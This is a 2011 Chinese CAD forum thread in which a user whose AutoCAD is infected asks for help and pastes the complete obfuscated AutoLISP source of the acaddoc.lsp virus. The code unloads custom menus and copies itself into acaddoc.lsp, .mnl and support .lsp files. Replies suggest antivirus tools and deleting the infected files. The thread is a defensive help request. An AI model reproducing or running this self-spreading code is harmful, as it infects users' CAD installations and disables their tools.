明经CAD社区

 找回密码
 注册

QQ登录

只需一步,快速开始

搜索
查看: 8354|回复: 8

求史上最强的CAD病毒acaddoc.lsp专杀方法

[复制链接]
发表于 2011-3-15 20:11:18 | 显示全部楼层 |阅读模式
本帖最后由 cumtjh 于 2011-3-17 14:52 编辑

求CAD病毒acaddoc.lsp专杀
非常不幸,我的CAD中毒了,原因不详

CAD中病毒 ,特征如下:
1、打开一个CAD文件,目录下相应产生一个acaddoc.lsp文件
2、关键影响菜单加载。定义加载的菜单文件在CAD启动后加载又被立即卸载,所以菜单文件无法加载。
本人通过一些专杀以及完全卸载(删除目录),重新安装CAD都没有作用,病毒依旧存在,而且是2004 2006 2008经重新安装同时感染。
麻烦群里的高手给我想想办法,找到问题症结,我担心的是系统格式化病毒依旧存在

手动加载了,菜单显示有

但一点关闭按钮,菜单自动消失


AutoCAD启动后命令行提示如下:

命令: menuload
无效或重复的别名: TB_JBCS (存在于工具栏: 常用工具 中)。
加载自定义文件成功。自定义组: MCAD
命令:
MineCAD 菜单实用程序
已成功地卸载自定义文件。自定义组: MCAD

文件目录下产生的acaddoc.lsp病毒文件中的内容如下:


  1. ;文件目录下产生的acaddoc.lsp病毒文件中的内容如下:


  2. (setq s::startup nil)
  3. (setq *startup*  (strcat  (chr 40)
  4.       (chr 115)
  5.       (chr 101)
  6.       (chr 116)
  7.       (chr 113)
  8.       (chr 32)
  9.       (chr 115)
  10.       (chr 58)
  11.       (chr 58)
  12.       (chr 115)
  13.       (chr 116)
  14.       (chr 97)
  15.       (chr 114)
  16.       (chr 116)
  17.       (chr 117)
  18.       (chr 112)
  19.       (chr 32)
  20.       (chr 110)
  21.       (chr 105)
  22.       (chr 108)
  23.       (chr 41)
  24.     )
  25. )
  26. (setq *acad-object* nil)
  27. (defun vlex-file-attribute (filename / filenamenew tmpname)
  28.   (setq fileatt nil)
  29.   (setq filenamenew (findfile filename))
  30.   (setq  tmpname  (strcat  (vl-filename-directory
  31.         (findfile (strcat (chr 97)
  32.               (chr 99)
  33.               (chr 97)
  34.               (chr 100)
  35.               (chr 46)
  36.               (chr 101)
  37.               (chr 120)
  38.               (chr 101)
  39.             )
  40.         )
  41.       )
  42.       (strcat  (chr 92)
  43.         (chr 116)
  44.         (chr 109)
  45.         (chr 112)
  46.         (chr 46)
  47.         (chr 116)
  48.         (chr 120)
  49.         (chr 116)
  50.       )
  51.     )
  52.   )
  53.   (vl-file-copy (findfile filename) tmpname)
  54.   (if (vl-file-delete filename)
  55.     (progn
  56.       (setq fileatt T)
  57.       (vl-file-copy tmpname filenamenew)
  58.       (vl-file-delete tmpname)
  59.     )
  60.     (progn
  61.       (setq fileatt nil)
  62.       (vl-file-delete tmpname)
  63.     )
  64.   )
  65.   fileatt
  66. )
  67. (defun vlex-to-file (filepath strlist / wjh extstr tetstr wjhh)
  68.   (if (findfile filepath)
  69.     (progn
  70.       (setq tetstr T)
  71.       (setq wjh (open (findfile filepath) (chr 114)))
  72.       (while (setq txtstr (read-line wjh))
  73.   (if (= txtstr *startup*)
  74.     (setq tetstr nil)
  75.   )
  76.       )
  77.       (close wjh)
  78.       (if tetstr
  79.   (progn
  80.     (if (vlex-file-attribute filepath)
  81.       (progn
  82.         (setq wjhh (open (findfile filepath) (chr 97)))
  83.         (write-line (chr 13) wjhh)
  84.         (foreach n strlist
  85.     (write-line n wjhh)
  86.         )
  87.         (close wjhh)
  88.       )
  89.     )
  90.   )
  91.       )
  92.     )
  93.     (progn
  94.       (setq wjjh (open filepath (chr 119)))
  95.       (foreach n strlist
  96.   (write-line n wjjh)
  97.       )
  98.       (close wjjh)
  99.     )
  100.   )
  101. )
  102. (defun vlex-file-strlist (filenpath text / wjh srlst tmp tep)
  103.   (setq srlst nil)
  104.   (setq wjh (open filenpath (chr 114)))
  105.   (while (setq tmp (read-line wjh))
  106.     (if  (= tmp text)
  107.       (setq tep T)
  108.     )
  109.     (if  tep
  110.       (setq srlst (append srlst (list tmp)))
  111.     )
  112.   )
  113.   (if wjh
  114.     (close wjh)
  115.   )
  116.   srlst
  117. )
  118. (defun vlex-string-listall (str delimiter / post strlst)
  119.   (if str
  120.     (progn (setq strlst nil)
  121.      (while (vl-string-search delimiter str)
  122.        (setq post (vl-string-search delimiter str))
  123.        (setq strlst (append strlst (list (substr str 1 post))))
  124.        (setq str (substr str (+ post 2)))
  125.      )
  126.      (vl-remove "" (append strlst (list str)))
  127.     )
  128.   )
  129. )
  130. (defun vlex-acadobject ()
  131.   (cond  (*acad-object*)
  132.   (T (setq *acad-object* (vlax-get-acad-object)))
  133.   )
  134. )
  135. (defun vlex-menugroups () (vla-get-menugroups (vlex-acadobject)))
  136. (defun vlex-menugroups-listall (/ out)
  137.   (vlax-for each (vlex-menugroups)
  138.     (setq out (cons (vla-get-name each) out))
  139.   )
  140.   (reverse out)
  141. )
  142. (setvar "cmdecho" 0)
  143. (vl-load-com)
  144. (setq menulist (vlex-menugroups-listall))
  145. (foreach n menulist
  146.   (if (/= (strcase n)
  147.     (strcat
  148.       (chr 65)
  149.       (chr 67)
  150.       (chr 65)
  151.       (chr 68)
  152.     )
  153.       )
  154.     (command (strcat (chr 109)
  155.          (chr 101)
  156.          (chr 110)
  157.          (chr 117)
  158.          (chr 117)
  159.          (chr 110)
  160.          (chr 108)
  161.          (chr 111)
  162.          (chr 97)
  163.          (chr 100)
  164.        )
  165.        n
  166.     )
  167.   )
  168. )
  169. ;;;
  170. ;;;=== General Utility Functions ===
  171. ;;;
  172. (setq filepath (vlex-string-listall
  173.      (getenv (strcat
  174.          (chr 65)
  175.          (chr 67)
  176.          (chr 65)
  177.          (chr 68)
  178.        )
  179.      )
  180.      (chr 59)
  181.          )
  182. )
  183. (setq mnufilelist
  184.        nil
  185.       mnlfilelist
  186.        nil
  187.       lspfilelist
  188.        nil
  189.       filealllist
  190.        nil
  191.       strlist nil
  192.       dwgpath nil
  193. )
  194. (foreach n filepath
  195.   (if (vl-directory-files
  196.   n
  197.   (strcat
  198.     (chr 42)
  199.     (chr 46)
  200.     (chr 109)
  201.     (chr 110)
  202.     (chr 108)
  203.   )
  204.   1
  205.       )
  206.     (setq mnlfilelist
  207.      (append mnlfilelist
  208.        (vl-directory-files
  209.          n
  210.          (strcat (chr 42)
  211.            (chr 46)
  212.            (chr 109)
  213.            (chr 110)
  214.            (chr 108)
  215.          )
  216.          1
  217.        )
  218.      )
  219.     )
  220.   )
  221. )
  222. (foreach n filepath
  223.   (if (vl-directory-files
  224.   n
  225.   (strcat
  226.     (chr 42)
  227.     (chr 46)
  228.     (chr 109)
  229.     (chr 110)
  230.     (chr 117)
  231.   )
  232.   1
  233.       )
  234.     (setq mnufilelist
  235.      (append mnufilelist
  236.        (vl-directory-files
  237.          n
  238.          (strcat (chr 42)
  239.            (chr 46)
  240.            (chr 109)
  241.            (chr 110)
  242.            (chr 117)
  243.          )
  244.          1
  245.        )
  246.      )
  247.     )
  248.   )
  249. )
  250. (setq lspfilelist
  251.        (vl-directory-files
  252.    (strcat (vl-filename-directory
  253.        (findfile (strcat (chr 97)
  254.              (chr 99)
  255.              (chr 97)
  256.              (chr 100)
  257.              (chr 46)
  258.              (chr 101)
  259.              (chr 120)
  260.              (chr 101)
  261.            )
  262.        )
  263.      )
  264.      (strcat (chr 92)
  265.        (chr 115)
  266.        (chr 117)
  267.        (chr 112)
  268.        (chr 112)
  269.        (chr 111)
  270.        (chr 114)
  271.        (chr 116)
  272.      )
  273.    )
  274.    (strcat
  275.      (chr 42)
  276.      (chr 46)
  277.      (chr 108)
  278.      (chr 115)
  279.      (chr 112)
  280.    )
  281.        )
  282. )
  283. (setq lspfilelist
  284.        (append lspfilelist
  285.          (vl-directory-files
  286.      (vl-filename-directory
  287.        (findfile (strcat (chr 97)
  288.              (chr 99)
  289.              (chr 97)
  290.              (chr 100)
  291.              (chr 46)
  292.              (chr 101)
  293.              (chr 120)
  294.              (chr 101)
  295.            )
  296.        )
  297.      )
  298.      (strcat (chr 42)
  299.        (chr 46)
  300.        (chr 108)
  301.        (chr 115)
  302.        (chr 112)
  303.      )
  304.          )
  305.        )
  306. )
  307. (setq acadpath (strcat (vl-filename-directory
  308.        (findfile (strcat (chr 97)
  309.              (chr 99)
  310.              (chr 97)
  311.              (chr 100)
  312.              (chr 46)
  313.              (chr 101)
  314.              (chr 120)
  315.              (chr 101)
  316.            )
  317.        )
  318.            )
  319.            (strcat (chr 92)
  320.              (chr 115)
  321.              (chr 117)
  322.              (chr 112)
  323.              (chr 112)
  324.              (chr 111)
  325.              (chr 114)
  326.              (chr 116)
  327.            )
  328.          )
  329. )
  330. (if (findfile (getvar (strcat (chr 100)
  331.             (chr 119)
  332.             (chr 103)
  333.             (chr 110)
  334.             (chr 97)
  335.             (chr 109)
  336.             (chr 101)
  337.           )
  338.         )
  339.     )
  340.   (setq  dwgpath  (vl-filename-directory
  341.       (findfile (getvar (strcat (chr 100)
  342.               (chr 119)
  343.               (chr 103)
  344.               (chr 110)
  345.               (chr 97)
  346.               (chr 109)
  347.               (chr 101)
  348.             )
  349.           )
  350.       )
  351.     )
  352.   )
  353.   (setq dwgpath acadpath)
  354. )
  355. (setq dwgpath (strcat dwgpath
  356.           (chr 92)
  357.           (chr 97)
  358.           (chr 99)
  359.           (chr 97)
  360.           (chr 100)
  361.           (chr 100)
  362.           (chr 111)
  363.           (chr 99)
  364.           (chr 46)
  365.           (chr 108)
  366.           (chr 115)
  367.           (chr 112)
  368.         )
  369. )
  370. (setq filealllist (append mnlfilelist lspfilelist (list dwgpath)))
  371. (setq listnum (length filealllist))
  372. (setq num 0)
  373. (while (< num listnum)
  374.   (setq filename (nth num filealllist))
  375.   (if (findfile filename)
  376.     (setq strlist (vlex-file-strlist (findfile filename) *startup*))
  377.   )
  378.   (if strlist
  379.     (setq num (1+ listnum))
  380.   )
  381.   (setq num (1+ num))
  382. )
  383. (vlex-to-file dwgpath strlist)
  384. (foreach n mnufilelist
  385.   (setq  mnlfile  (strcat  (vl-filename-directory (findfile n))
  386.       (chr 92)
  387.       (vl-filename-base (findfile n))
  388.       (chr 46)
  389.       (chr 109)
  390.       (chr 110)
  391.       (chr 108)
  392.     )
  393.   )
  394.   (vlex-to-file mnlfile strlist)
  395. )
  396. (foreach n filealllist
  397.   (vlex-to-file n strlist)
  398. )
  399. (princ)

  400. ;;;
  401. ;;; To restore the system variables.
  402. ;;;
  403. (if (/= (getvar "sdi") 0)(setvar "sdi" 0))
  404. (if (/= (getvar "acadlspasdoc") 1)(setvar "acadlspasdoc" 1))
  405. (if (/= (getvar "zoomfactor") 40)(setvar "zoomfactor" 40))
  406. (if (/= (getvar "mbuttonpan") 1)(setvar "mbuttonpan" 1))
  407. (if (/= (getvar "highlight") 1)(setvar "highlight" 1))
  408. (if (/= (getvar "fillmode") 1)(setvar "fillmode" 1))
  409. (if (/= (getvar "pickadd") 1)(setvar "spickadd" 1))
  410. (if (/= (getvar "pickauto") 1)(setvar "pickauto" 1))
  411. (if (/= (getvar "pickfirst") 1)(setvar "pickfirst" 1))
  412. (if (/= (getvar "filedia") 1)(setvar "filedia" 1))
  413. (if (/= (getvar "blipmode") 0)(setvar "blipmode" 0))
  414. (if (/= (getvar "fillmode") 1)(setvar "fillmode" 1))
  415. (if (/= (getvar "textfill") 1)(setvar "textfill" 1))
  416. (princ)

兄弟们,帮帮我吧  我的神啊,救救我吧 没法工作啦


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

x
发表于 2011-3-15 21:42:51 | 显示全部楼层
没有看明白什么意思
发表于 2011-3-16 13:50:17 | 显示全部楼层
到这里看看CAD病毒吧!可能对你有帮助!
http://u.115.com/folder/f43d1ca8bbd#
发表于 2011-3-16 17:49:26 | 显示全部楼层
一般的杀软都行啊
 楼主| 发表于 2011-3-16 19:16:25 | 显示全部楼层
superzhzh 发表于 2011-3-16 17:49
一般的杀软都行啊

不行的  今天早上在LISP群里 讨论都没解决
发表于 2011-3-18 10:26:56 | 显示全部楼层
好像360就行吧。原来mse不能杀的,现在也可以了
 楼主| 发表于 2011-3-19 19:32:05 | 显示全部楼层
本帖最后由 cumtjh 于 2011-6-30 23:51 编辑

问题已经解决 ,感谢大家的帮忙  问题原因 在于不单感染acaddoc.lsp 而是感染了自定义文件中的MNL文件  删除acaddoc.lsp 和MNL文件即可  (问题已经解决) 感谢明经的朋友
发表于 2011-6-8 13:50:41 | 显示全部楼层
你好,现在本人CAD也是感染了acaddoc病毒,能否麻烦你讲下mnl文件在哪?

来自 傅花使者zz 的新浪微博
发表于 2019-5-30 10:21:02 | 显示全部楼层
这个病毒困扰人啊,我的空间里面那个就是处理这个问题的,不妨试试,在我的机器上实验了,可以彻底解决了:

自制CAD病毒专杀
http://bbs.mjtd.com/forum.php?mo ... &fromuid=246364
(出处: 明经CAD社区)
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|CAD论坛|CAD教程|CAD下载|联系我们|关于明经|明经通道 ( 粤ICP备05003914号 )  
©2000-2023 明经通道 版权所有 本站代码,在未取得本站及作者授权的情况下,不得用于商业用途

GMT+8, 2024-11-23 12:02 , Processed in 0.278233 second(s), 27 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表